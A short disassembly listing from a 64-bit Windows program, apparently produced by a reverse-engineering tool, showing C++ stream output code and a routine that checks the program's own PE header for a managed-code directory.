call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::put_char____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
xor esi, esi
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400019a0
mov eax, esi
add rsp, 0x98
pop rdi
pop rsi
ret
Function at 0x140002320
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000236a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000236a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000236a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000236a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000236a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000236c
xor al, al
add rsp, 0x28
ret